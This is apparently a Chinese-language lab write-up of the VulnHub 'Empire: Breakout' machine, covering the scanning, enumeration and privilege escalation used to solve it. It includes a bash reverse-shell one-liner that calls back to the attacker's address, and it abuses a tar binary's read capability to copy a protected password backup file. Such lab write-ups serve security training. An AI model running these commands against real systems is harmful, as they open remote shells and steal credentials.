靶场链接:https://www.vulnhub.com/entry/empire-breakout,751/
Name: Empire: Breakout
Date release: 21 Oct 2021
Author: icex64 & Empire Cybersecurity
Series: Empire
扫描ip地址和mac地址
arp-scan -l
![](https://i-blog.csdnimg.cn/blog_migrate/81bb75e315ea9cc469d0c9f2c5ae76f9.png)
kali主机ip:192.168.241.129
靶机主机ip:192.168.241.130
nmap扫描靶机端口
nmap -T4 -sV -p- -A 192.168.241.130
![](https://i-blog.csdnimg.cn/blog_migrate/a3402a6500ec1b5774b7568c2526d346.png)
获得信息:
以开启80,10000,20000网页端口
139和445是安装了samba服务的端口
![](https://i-blog.csdnimg.cn/blog_migrate/fe5bbbfa951d7eaed3920717663cbc24.png)
80端口是默认网页,检查源代码发现有点像brainfuck编译器,
brainfuck:++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.
编译后:.2uqPEfj3D<P'a-3
10000端口和20000端口分别是两个登录页面
![](https://i-blog.csdnimg.cn/blog_migrate/81358fab9fefcbec9d9616a9181d781a.png)
![](https://i-blog.csdnimg.cn/blog_migrate/c82fb081ae7487c66856fe6b73c136bb.png)
尝试admin,root与上述的密码都无法登录,再看看系统有没有其他信息
发现还有samba服务,尝试用enum4linux查看信息
enum4linux 192.168.241.130
![](https://i-blog.csdnimg.cn/blog_migrate/97f832a6d5cf5e271fd776f2aafb7c7b.png)
发现用户名:cyber,尝试用户名和密码登录,直接成功。
页面的功能查看一遍,发现有一个按钮弹出cmd shell
![](https://i-blog.csdnimg.cn/blog_migrate/327c798bf4fac15e689209ad4b504acd.png)
尝试反弹shell
bash -i &>dev/tcp/192.168.241.129/111 <&1
nc -nlvp 111
![](https://i-blog.csdnimg.cn/blog_migrate/36edbac160337f51851c1259ad72ca7e.png)
成功反弹shell,接下来看看有没有其他信息
发现当前目录有两个文件,tar和user.txt
![](https://i-blog.csdnimg.cn/blog_migrate/529482c97b7bf00f976da013b6839fc5.png)
tar是打包文件,但是放在这个目录下,猜测有作用,getcap查看权限
![](https://i-blog.csdnimg.cn/blog_migrate/696c2c52202711ab61bdd08120432fb9.png)
发现cap_dac_read_search=ep,官方解释是:忽略所有对读、搜索操作的限制
查看大佬的wp,发现是一个var/backups/.old_pass.bak,但这个文件无权限执行,想起来使用tar文件先打包这个文件,然后再解压就可以查看了
打包:./tar -cvf oldpass.tar /var/backups
解压:./tar -xvf oldpass.tar -C ./oldpass
![](https://i-blog.csdnimg.cn/blog_migrate/2e7e98812ed24e65f153186b32f25430.png)
成功获得密码:Ts&4&YurgtRX(=~h
![](https://i-blog.csdnimg.cn/blog_migrate/715e3de9bd39f0a09cda0b3d20e41e50.png)
![](https://i-blog.csdnimg.cn/blog_migrate/f588945ea8c3c1fd6fc876cac03a565c.png)